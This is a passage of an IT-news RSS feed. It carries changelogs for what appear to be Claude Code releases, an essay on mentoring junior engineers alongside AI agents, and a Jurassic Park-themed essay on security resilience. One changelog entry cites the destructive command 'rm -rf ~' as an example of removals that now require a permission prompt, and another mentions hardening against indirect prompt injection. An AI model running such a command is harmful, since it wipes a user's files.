<link>https://tsecurity.de/de/3669298/downloads/v21210/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669298/downloads/v21210/</guid>
<pubDate>Wed, 15 Jul 2026 01:46:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added a live elapsed-time counter to the collapsed tool summary line so long-running tool calls visibly tick instead of looking stuck</li>
<li>Added a startup warning for <code>Write(path)</code>, <code>NotebookEdit(path)</code>, and <code>Glob(path)</code> permission rules — use <code>Edit(path)</code> or <code>Read(path)</code> instead</li>
<li>Fixed <code>isolation: 'worktree'</code> subagents being able to run git-mutating commands against the main repo checkout instead of their own isolated worktree</li>
<li>Fixed the <code>ultracode</code> keyword opt-in firing on non-human-originated input such as webhook payloads and relayed PR comments</li>
<li>Fixed a rendered text fragment leaking into crash telemetry when a UI component returned content outside a styled text element</li>
<li>Fixed paste markers leaking into external editors opened from Claude Code, which could appear as stray È/É characters around pasted text</li>
<li>Fixed <code>claude attach</code> sometimes failing with "job not found" or "agent is still starting" errors during session transitions — attach now waits for the daemon to settle, and terminal resizes during a slow attach are applied once it completes</li>
<li>Fixed a session crash when a tool's result renderer returned a numeric bigint value or plain text instead of a UI element</li>
<li>Fixed a hook callback timeout being misreported to the model as a user rejection, which made unattended sessions stop and wait</li>
<li>Fixed Claude assuming a <code>cd</code> took effect after its command was moved to the background; the tool result now states the working directory is unchanged</li>
<li>Fixed plugin-provided MCP servers being torn down when MCP servers are re-synced mid-session</li>
<li>Fixed plan approvals without edits being labeled "(edited by user)" and overwriting the plan file with a stale snapshot</li>
<li>Fixed <code>/doctor</code> skipping its auto-mode-default proposal on Bedrock, Vertex, and Foundry, where auto mode no longer needs an opt-in</li>
<li>Fixed Grep content mode claiming "No matches found" when paginating past the end of results</li>
<li>Fixed unmatched <code>$1</code>/<code>$2</code> positional placeholders in skills and commands being silently stripped; they are now preserved verbatim</li>
<li>Fixed plugin cache writes leaving temp files behind on failure and failing on locked-file renames on Windows and network filesystems</li>
<li>Fixed background workers crash-looping when a client resets its connection to the background service</li>
<li>Fixed <code>claude agents --effort ultracode</code> not reaching dispatched sessions; the value was silently dropped</li>
<li>Fixed pressing ← to open the agents view dropping the task tracker when returning to the session</li>
<li>Fixed the agents dashboard retaining pasted images from abandoned reply drafts after their session was deleted</li>
<li>Fixed killed background sessions leaving a permanent <code>git worktree lock</code> behind; the periodic sweep now releases locks whose owning process is gone</li>
<li>Fixed SDK MCP servers registered via an <code>initialize</code> control request waiting until the next turn to start connecting</li>
<li>Fixed returning to the agents view from a session leaving overlapping ghost frames with <code>CLAUDE_CODE_DISABLE_ALTERNATE_SCREEN=1</code></li>
<li>Fixed late-appearing <code>.claude/*</code> symlinks not being reconciled into the sandbox deny-write list</li>
<li>Hardened the Agent tool against indirect prompt injection via content a subagent read</li>
<li>Improved the Bash/PowerShell tool message when a command hits its timeout and is auto-backgrounded, so the model can distinguish a hang from an explicit background request</li>
<li>Improved auto mode: the permission classifier now defaults to Sonnet 5 for external sessions, validated on the session's first request and pinned for the session</li>
<li>Improved the bundled dataviz skill's chart color validation with perceptual OKLab color difference and recalibrated color-blindness thresholds</li>
<li>Memory writes that leave a MEMORY.md index over its read limit now produce an explicit error instead of silent truncation</li>
<li>Screen reader mode now announces permission mode changes aloud when cycling modes with Shift+Tab</li>
<li>The agents footer hint now shows how many background agents are waiting on your input, with a brief color emphasis when the count changes</li>
<li>Agent view: the session you pressed ← from stays visibly marked even after mouse hover or arrow keys move the selection</li>
<li>Fable temporarily shows as unavailable in the advisor picker while a server-side issue causing Fable advisor failures is fixed</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How do you go from junior to staff engineer when AI writes the code?]]></title>
<description><![CDATA[A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?



It’s a fair question and a harder one to answer than it was just a year ago.



The path...]]></description>
<link>https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</guid>
<pubDate>Tue, 14 Jul 2026 13:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?</p>



<p class="wp-block-paragraph">It’s a fair question and a harder one to answer than it was just a year ago.</p>



<p class="wp-block-paragraph">The path used to be well-known. As a newly hired junior software engineer, you were given an experienced mentor who would assign you simple tasks to learn the ropes. You’d write some code, ask plenty of questions, open a pull request, get feedback in code review, think about it and fix your code. Rinse and repeat that a few hundred times. The tasks became more complex; the feedback got shorter and along the way you’ve been building judgment, the thing that separates a senior engineer from a junior one.</p>



<p class="wp-block-paragraph">Now AI writes most of the code. The loop looks different and the easy assumption is that it’s broken: fewer tasks for juniors to cut their teeth on, an agent fixing the code that another agent wrote, thinner path to judgment.</p>



<h2 class="wp-block-heading"><a></a>Mentoring got easier, not harder</h2>



<p class="wp-block-paragraph">I knew just the person to ask: how do we grow senior and staff engineers in the AI era? Adam Berry is a staff engineer at Netflix, a member of <a href="https://dx.community/">The Hangar</a>, our community of engineering leaders, and someone I have been discussing the evolving role of code review and <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing</a> for a while now. He spends his time on getting AI adoption right, rather than just fast, in their engineering organization and has been working out the question of growing new engineers in practice. Mentoring juniors in an agentic world, Adam says, isn’t harder; it’s embarrassingly easy.</p>



<p class="wp-block-paragraph">“You grow juniors and help them become better engineers the same way you always did. AI isn’t changing the methodology. It’s changing the details,” he told me. His point is that the agentic world gives a lot more options for giving juniors bounded tasks to work on and more feedback. The scattered remarks and comments seniors used to give in person now can be put into instructions and guardrails.</p>



<p class="wp-block-paragraph">Adam breaks working with agents into three foundational skills:</p>



<ul class="wp-block-list">
<li>If you don’t know how to do something with the agent, ask the agent.</li>



<li>If the agent does something you don’t like, figure out how to correct it and then codify it so it doesn’t happen again.</li>



<li>Your sense of when the agent has gone off the rails.<br><br></li>
</ul>



<p class="wp-block-paragraph">“Most juniors can pick up the first two on their own. On the third one, they need guidance, he says.<br><br></p>



<p class="wp-block-paragraph">His process for building it is staged. “The stages are about growing scope. First, you give a junior engineer a well-specified task—and these are now bigger than what you’d have given a junior before. You can give them task definitions that are like a prompt and instructions to drive that prompt, make sure they got to a good plan, make sure they understood the plan, and that they thought through the test cases, etc.<br><br>Then gradually you peel off some of that specificity so they have to build the muscle themselves. Once they’ve gotten good at that level of scope, they’re ready to work on larger scoped problems.”<br><br>Starting from more specific problems and going towards ambiguous problems is the definition of growing as an engineer.</p>



<h2 class="wp-block-heading"><a></a>Pair programming with the agent in the room</h2>



<p class="wp-block-paragraph">Seniors can still do pairing sessions with juniors, now with the agent in the room.<br><br>“In the pairing session, the earlier-career engineer should be the one driving. The agent can be set up to interrogate the junior rather than just answer them. None of you is manually writing code, but you’re still doing pair programming and mentoring. Even if it’s just a trivial bug fix, if you guide a junior through it, it forces them to do just that little bit of thinking.”<br><br>Adam says mentoring juniors today does not have to mean forcing them to write code manually. Seniors should teach them the process of agentic engineering, and that’s exactly what they should focus on during the pairing sessions. The habit he wants to be installed early is asking for options instead of answers.<br><br>“I aim to teach juniors to ask for options and think through them, even on small tasks. I ask them to explain what their input to the AI tool was that led to the code they got. But I’d also show them how I would have done the same thing.”<br><br>The pairing produces artifacts as it goes. “That’s where you get into conversations of, ‘This is why that wasn’t quite it for me,’ and if I see that that’s not baked into the repo, I’m going to add this into the ADR, into the design, into the instruction set. I’ll codify that so the junior gets it too, and they know why it exists, because they watched me go through it with the tool myself.”</p>



<p class="wp-block-paragraph">That reshapes the code review instead of removing it. Making that work puts more on senior engineers, not less. “Senior engineers need to ensure that things like ADRs, or whatever system you use, are properly encapsulated in the repo for both the agents and the humans to consume.” His team also attaches the prompts to the pull request and has the agent summarize what it did against what the prompt asked.<br><br></p>



<p class="wp-block-paragraph">Adam also teaches junior engineers how to bring in expert sources from outside into AI tools. He’ll point an agent at a book like Michael Feathers’ <em>Working with Legacy Code</em> as an example of what quality code looks like and have it work from the concepts directly.</p>



<h2 class="wp-block-heading"><a></a>Don’t outsource the thinking</h2>



<p class="wp-block-paragraph">His arguments make sense, but I also recently came across <a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=11363384">research</a> examining the influence of AI tools on how and why members of software engineering teams interact. Their finding was not surprising: of the 131 surveyed developers, 51% said they now ask GenAI for technical help they once would have asked a person, and 62% said it was easier to ask GenAI without fear of embarrassment.</p>



<p class="wp-block-paragraph">When a junior gets stuck now, their first move usually isn’t to message a senior on Slack. It’s to ask the agent. This is also the case in code reviews. The purpose of code reviews was always <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing </a>as much as it was a quality gate. What I see junior engineers do now is take the feedback and, without reading it closely, hand it straight to the agent to resolve. The part where they would have to understand how their work differed from what the senior expected disappears. It got passed from the reviewer to the agent, and the junior skipped the understanding.</p>



<p class="wp-block-paragraph">This isn’t really the junior’s fault. They need the motivation and the space to do it differently, and the default pattern under delivery pressure is to push the thing out and worry about it later.<br><br>The same research showed that developers turned to colleagues with questions about context (65% to clarify business logic or requirements, 50% for how something had been done before).</p>



<p class="wp-block-paragraph">Respondents were also aware of the trap that Berry’s approach was created to avoid: AI tends to hand back a single answer, compared to multiple perspectives a colleague surfaces and they kept seeking teammates for context-specific expertise, mentorship and plain social connection.</p>



<p class="wp-block-paragraph"><br>The fix is almost mechanical: if you have to make a choice, you have to think about it. I do this in my own product thinking. Most of it happens by bouncing ideas off Claude, but whenever something is complex, I make myself lay out a few options, trade them against each other and decide which direction to take. That’s the same move Berry wants juniors making, and it’s what builds judgment, whether you’re twenty-two or forty.</p>



<h2 class="wp-block-heading"><a></a>Why we should still hire juniors</h2>



<p class="wp-block-paragraph">There’s also a hiring question underneath all of this. We recently hosted Kent Beck, an industry legend, at <a href="https://dx.community/">the Hanga</a>r in a session we called “Juniors FTW,” and his reasoning was that the industry is being remade fast enough that being new is an advantage. Juniors are too new to have absorbed what everyone “knows” is impossible, which leaves them less biased, more creative and carrying fewer preconceived mental barriers.</p>



<p class="wp-block-paragraph">Beck also <a href="https://newsletter.kentbeck.com/p/hey-n00b-we-didnt-hire-you-to-complete">wrote</a> about how important it is to hire juniors without the calculation of how many tasks they can perform.<br><br>“If all we cared about was today’s productivity, we wouldn’t have hired you at all. Instead, we (the seniors) are focused on the future: we know there’s going to be far more work here than we could possibly accomplish. We are paying your salary now as the option premium on the engineer you will become. If we play this game right, we’ll have a kick-ass next generation of engineers. If not, we’ll have to be doing the same engineering jobs ten years from now, and we really don’t want to be doing that.”</p>



<h2 class="wp-block-heading"><a></a>The pipeline is thinning</h2>



<p class="wp-block-paragraph">The trend is running the other way. Entry-level hiring at the 15 biggest tech firms fell 25 percent from 2023 to 2024, according to a <a href="https://www.signalfire.com/blog/signalfire-state-of-talent-report-2025">report from SignalFire</a>. In a recent <a href="https://stackoverflow.blog/2025/12/26/ai-vs-gen-z/">survey of engineering leaders</a>, a majority said they plan to hire fewer juniors, on the logic that AI lets seniors cover more ground.</p>



<p class="wp-block-paragraph">That logic is short-sighted in a specific way. Senior engineers don’t appear from nowhere. They’re the juniors someone hired five or ten years ago and invested in mentoring them. Stop hiring and growing juniors now, and the gap doesn’t show up this year. It shows up later, when the industry needs people with the judgment that only comes from years of making mistakes and recovering from them and finds it stopped producing them.</p>



<p class="wp-block-paragraph">So, here’s the answer to the question that the new hire asked: the path to senior and to staff is the same path it always was. You grow the range of ambiguity you can handle, and you stay honest about the part you can’t handle yet. What changed is the interface. The agent writes the code. Your job is to keep asking questions to your colleagues and the agents and keep doing the thinking until the thinking is good.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.208]]></title>
<description><![CDATA[What's changed

Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mod...]]></description>
<link>https://tsecurity.de/de/3666678/downloads/v21208/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666678/downloads/v21208/</guid>
<pubDate>Tue, 14 Jul 2026 03:16:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added screen reader mode: opt-in plain-text rendering for screen reader users. Run <code>claude --ax-screen-reader</code>, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.</li>
<li>Added <code>vimInsertModeRemaps</code> setting: map two-key insert-mode sequences like <code>jj</code> to Escape in vim mode</li>
<li>Added <code>CLAUDE_CODE_PROCESS_WRAPPER</code>: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable</li>
<li>Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode</li>
<li>Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings</li>
<li>Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts</li>
<li>Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running <code>claude agents</code> process was launched from</li>
<li>Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions</li>
<li>Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight</li>
<li>Fixed truncated stream-json/JSON output and missing result message when piping large responses from <code>claude -p</code></li>
<li>Fixed <code>CLAUDE_CODE_MAX_OUTPUT_TOKENS</code> and similar env vars silently using the mantissa of scientific-notation values (<code>1e6</code> became <code>1</code>)</li>
<li>Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice</li>
<li>Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely</li>
<li>Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte</li>
<li>Fixed <code>apiKeyHelper</code> script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts</li>
<li>Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy</li>
<li>Fixed <code>/upgrade</code> showing a login flow instead of the upgrade URL when the browser fails to open</li>
<li>Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts</li>
<li>Fixed headless stream-json sessions hanging permanently when a <code>control_request</code> carried a non-string <code>set_model</code> payload; the CLI now answers with an error response</li>
<li>Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary</li>
<li>Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped</li>
<li>Fixed the Agent tool launching with no tools when a subagent's <code>tools</code> list resolves to nothing — it now returns a clear error naming the unrecognized entries</li>
<li>Fixed <code>/usage</code> showing stale cached bars over fresher data, and <code>/mcp</code> not reclassifying placeholder servers after config edits</li>
<li>Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task</li>
<li>Fixed the workflow save dialog showing <code>~/.claude/workflows/</code> instead of the <code>CLAUDE_CONFIG_DIR</code> location for user-scope saves</li>
<li>Fixed <code>/release-notes</code> adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request</li>
<li>Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies</li>
<li>Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached</li>
<li>Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads</li>
<li>Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line</li>
<li>Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached</li>
<li>Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI</li>
<li>Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)</li>
<li>Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files</li>
<li>Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups</li>
<li>Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations</li>
<li>Completed background agents now stay listed in <code>/tasks</code> until cleanup instead of vanishing the moment they finish</li>
<li>Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen</li>
<li>Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary</li>
<li>Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base</li>
<li>Catastrophic removals (e.g. <code>rm -rf ~</code>) in commands containing <code>$(…)</code>/backticks/<code>&lt;(…)</code> now prompt in <code>--dangerously-skip-permissions</code> and auto mode, matching the plain form</li>
<li><code>/install-github-app</code> and the <code>/mcp</code> settings menu no longer open in background sessions</li>
<li>MCP servers configured with an empty URL now show as "not configured" in <code>/mcp</code> instead of a config error</li>
<li><code>/usage</code> now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen</li>
<li>Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Shuffles ChatGPT Apps, Kills Atlas Browser, Improves Voice]]></title>
<description><![CDATA[OpenAI has replaced its Mac apps with a confusing 1.45 GB amalgamation, killed its ChatGPT Atlas Web browser after less than a year, and boosted ChatGPT Voice by backing it with more capable models.]]></description>
<link>https://tsecurity.de/de/3666580/ios-mac-os/openai-shuffles-chatgpt-apps-kills-atlas-browser-improves-voice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666580/ios-mac-os/openai-shuffles-chatgpt-apps-kills-atlas-browser-improves-voice/</guid>
<pubDate>Tue, 14 Jul 2026 01:21:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI has replaced its Mac apps with a confusing 1.45 GB amalgamation, killed its ChatGPT Atlas Web browser after less than a year, and boosted ChatGPT Voice by backing it with more capable models.<p><a href="https://tidbits.com/2016/07/11/os-x-hidden-treasures-typing-exotic-characters/"><picture><source srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-640x200.png" media="(max-width: 600px)" type="image/png"><img src="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png" srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png 1456w, https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180-640x79.png 640w" alt="macOS Hidden Treasures: Typing Exotic Characters"></picture></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[KAZ Review (PC)]]></title>
<description><![CDATA[To be successful, you have to act on instinct, without allowing your brain to actually think. Making plans and evaluating targets takes time. Raking up points to get to the threshold and, hopefully, put some in the piggy bank requires pure action, a seamless connection between eyes, ears, nerves,...]]></description>
<link>https://tsecurity.de/de/3666074/it-security-nachrichten/kaz-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666074/it-security-nachrichten/kaz-review-pc/</guid>
<pubDate>Mon, 13 Jul 2026 19:50:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[To be successful, you have to act on instinct, without allowing your brain to actually think. Making plans and evaluating targets takes time. Raking up points to get to the threshold and, hopefully, put some in the piggy bank requires pure action, a seamless connection between eyes, ears, nerves, and fingers.

I made good upgrade choices, focused on extra time and more points for enemies killed. So, I can reliably win rounds even when my actions per minute decline. If I hit the star, it’s even easier to make progress. The problem is that I was cursed after stepping on one too many traps, and I have to deal with being randomly teleported. It’s disorienting and also slows my character down at the worst time.

So I launch into a new level, clearing opponents quickly, hoping my lightning strikes hit traps, and keeping an eye out for the high-value star. There’s not enough time to get into a flow state. I get the needed score with a few seconds to go, and I already start ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Jurassic Park, cybersecurity and the dangerous myth of control]]></title>
<description><![CDATA[Jurassic Park wasn’t really about dinosaurs.



It was about arrogant people building systems they believed were controllable.



“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter...]]></description>
<link>https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</guid>
<pubDate>Mon, 13 Jul 2026 12:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Jurassic Park wasn’t really about dinosaurs.</p>



<p>It was about arrogant people building systems they believed were controllable.</p>



<p>“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter how expensive the fences are, and no matter how confident the operators feel, nature eventually escapes containment.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>And in every movie, it does.</p>



<p>The dinosaurs always get out. The systems fail. Eventually, the humans lose control.</p>



<p>What makes Jurassic Park fascinating is that despite advanced monitoring, complex containment systems and sophisticated operational controls, the outcome never really changes. At its core, the story is about people mistaking visibility for control.</p>



<p>Cybersecurity has the same problem.</p>



<p>For years, security teams have operated under the assumption that with enough tooling, governance, process, maturity and spend, we can build environments that are effectively secure. Maybe not perfect, but secure enough that compromise becomes rare and manageable.</p>



<p>But attackers find a way.</p>



<p>Given enough time, skill or motivation, they eventually identify the weakness nobody considered. The overlooked privilege. The dependency nobody mapped. The misconfiguration hiding behind layers of dashboards, process, and compliance reporting.</p>



<p>We are already seeing this play out. Nation-state attacks are becoming increasingly sophisticated, while AI-driven exploit discovery is beginning to compress vulnerability research from weeks into minutes.</p>



<p>The raptors are learning faster now.</p>



<h2 class="wp-block-heading">Mistaking visibility for control</h2>



<p>That does not mean prevention no longer matters. The fences in Jurassic Park still slowed the dinosaurs down. They created friction. They reduced exposure. Modern security controls do the same thing.</p>



<p>But the failure in Jurassic Park was never simply that the fences broke.</p>



<p>It was that the entire system assumed the fences represented certainty.</p>



<p>Cybersecurity often makes the same mistake.</p>



<p>The industry has become incredibly good at demonstrating preparedness in controlled environments. Dashboards. Compliance reports. Tabletop exercises. RTO metrics. Recovery attestations.</p>



<p>Jurassic Park had dashboards too.</p>



<p>The problem is that <a href="https://www.csoonline.com/article/4157486/cisos-tackle-the-ai-visibility-gap.html">visibility is often mistaken for survivability</a>. Organizations can prove they monitored the environment, documented the process, and ran the exercise, while still having very little confidence that the business could continue operating during a genuine systemic failure.</p>



<p>Most organizations still operate with an implicit belief that compromise is exceptional rather than inevitable. Disaster recovery plans, business continuity workshops, and annual tabletop exercises are treated as evidence of resilience. In reality, many of them are carefully controlled simulations of a world that no longer exists.</p>



<p>Traditional disaster recovery was designed for an era where infrastructure changed slowly, applications were relatively static, and dependencies were limited enough that recovery assumptions could remain valid for months or even years.</p>



<p>That world is gone. AI killed it.</p>



<p>Environments now evolve constantly. Cloud infrastructure changes daily. AI-assisted development accelerates release cycles. Applications rely on sprawling third-party ecosystems. APIs connect systems in ways many organizations do not fully understand. Entire workloads appear and disappear dynamically.</p>



<p>The environment you tested last quarter may no longer exist today.</p>



<p>And yet many resilience programs still operate as if annual or quarterly testing provides meaningful confidence.</p>



<p>Most companies do not really test resilience.</p>



<p>They test optimism.</p>



<h2 class="wp-block-heading">The backup fallacy</h2>



<p>And nowhere is this overconfidence more obvious than <a href="https://www.csoonline.com/backup-recovery/">backups</a>.</p>



<p>Somewhere along the way, organizations confused “having backups” with “being resilient.” Those are not remotely the same thing.</p>



<p>A backup simply proves you stored a copy of something at a specific point in time. It does not prove you can survive.</p>



<p>Most recovery models were designed in the late 90s and early 2000s for relatively static systems and predictable infrastructure. The core philosophy has barely evolved since then, even as environments have become increasingly distributed, ephemeral, and interconnected.</p>



<p>Restoring data is not the same as restoring operations.</p>



<p>Restoring infrastructure is not the same as restoring business functionality. Modern application are complex and rely on ephemeral elements, third party components and applications as well as complex data flows not just data sets.</p>



<p>Very few organizations continuously validate whether they can recover full feature-function applications, maintain operational workflows, preserve data integrity, reconnect dependencies, restore permissions correctly, or continue operating under active attack conditions.</p>



<p>We built incredibly sophisticated telemetry for understanding how we die.</p>



<p>We built almost none for proving we can survive.</p>



<p>That gap is becoming impossible to ignore.</p>



<p>The recent rise of continuous resilience testing and recovery validation is not accidental. It reflects a growing realization that recovery assumptions themselves may no longer be trustworthy.</p>



<p>Static resilience models are struggling to survive dynamic infrastructure.</p>



<p>This is where resilience starts becoming an engineering problem rather than a compliance exercise.</p>



<h2 class="wp-block-heading">When restoration assumptions fail</h2>



<p>Because the real question is no longer, “How quickly can we restore the application?”</p>



<p>The real question is, “What happens if we cannot restore it?”</p>



<p>Jurassic Park repeatedly explored exactly this scenario. The real panic never started when the fences failed. It started when the operators realized they could not regain control quickly enough.</p>



<p>Businesses now face the same risk.</p>



<p>What happens if AWS experiences a prolonged outage? What happens if <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.html">Azure Identity Services fail</a> globally? What happens if Stripe, Salesforce, Slack, or Microsoft 365 disappear for days rather than hours?</p>



<p>Many organizations do not actually have business continuity strategies for those situations.</p>



<p>They have restoration assumptions.</p>



<p>Twenty years ago, most organizations directly owned large portions of their operational stack. Today, companies increasingly rent critical business capability from a relatively small number of providers.</p>



<p>Identity. Infrastructure. Communications. Payments. Collaboration. Customer operations.</p>



<p>The efficiency gains are enormous.</p>



<p>So is the concentration risk.</p>



<h2 class="wp-block-heading">Resilience as an engineering discipline</h2>



<p>Historically, business continuity planning assumed localized disruption. A building burned down. A regional data center failed. A storm impacted an office. The internet itself was not the dependency.</p>



<p>Today, entire businesses are built on tightly interconnected SaaS and cloud ecosystems where operational survivability depends on third parties remaining continuously available.</p>



<p>We optimized organizations for efficiency, automation, integration, and scale.</p>



<p>Not necessarily survivability.</p>



<p>That is why resilience needs to evolve beyond annual tabletop exercises and static recovery plans.</p>



<p>True resilience is not a binder sitting on a shelf. It is not a workshop performed once a year. It is not a recovery document written against an environment that changed six months ago.</p>



<p>It is a continuous understanding of the environment itself.</p>



<p>It requires live telemetry, operational visibility, dependency awareness, continuous validation, and the ability to adapt under changing conditions.</p>



<h2 class="wp-block-heading">Adapting to chaos</h2>



<p>The survivors in Jurassic Park only succeeded once they stopped pretending the environment was fully controllable and instead adapted to the reality in front of them.</p>



<p>Cybersecurity needs to make the same shift.</p>



<p>Attackers will keep adapting.</p>



<p>AI will accelerate faster than most governance models can handle.</p>



<p>Complexity will continue to outpace our assumptions about control.</p>



<p>The organizations that survive will not necessarily be the ones with the tallest fences. They will be the ones who understand their environments deeply enough to continue operating when control is lost.</p>



<p>The goal was never to eliminate chaos.</p>



<p>It was to survive long enough to adapt to it.</p>



<p>Because resilience is not about preventing chaos.</p>



<p>It is about operating through it.</p>



<p>Because eventually, one way or another, life finds a way.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.csoonline.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘House of the Dragon’ Season 3, Episode 5 Release Date and What to Expect]]></title>
<description><![CDATA[House of the Dragon Season 3, Episode 5 will arrive on Sunday, July 19, 2026, continuing the increasingly violent conflict between Rhaenyra Targaryen and the forces supporting Aegon II. Viewers in India can stream the episode early on Monday, July 20.



Episode 5 Release Details




US release d...]]></description>
<link>https://tsecurity.de/de/3664631/ios-mac-os/house-of-the-dragon-season-3-episode-5-release-date-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664631/ios-mac-os/house-of-the-dragon-season-3-episode-5-release-date-and-what-to-expect/</guid>
<pubDate>Mon, 13 Jul 2026 10:25:03 +0200</pubDate>
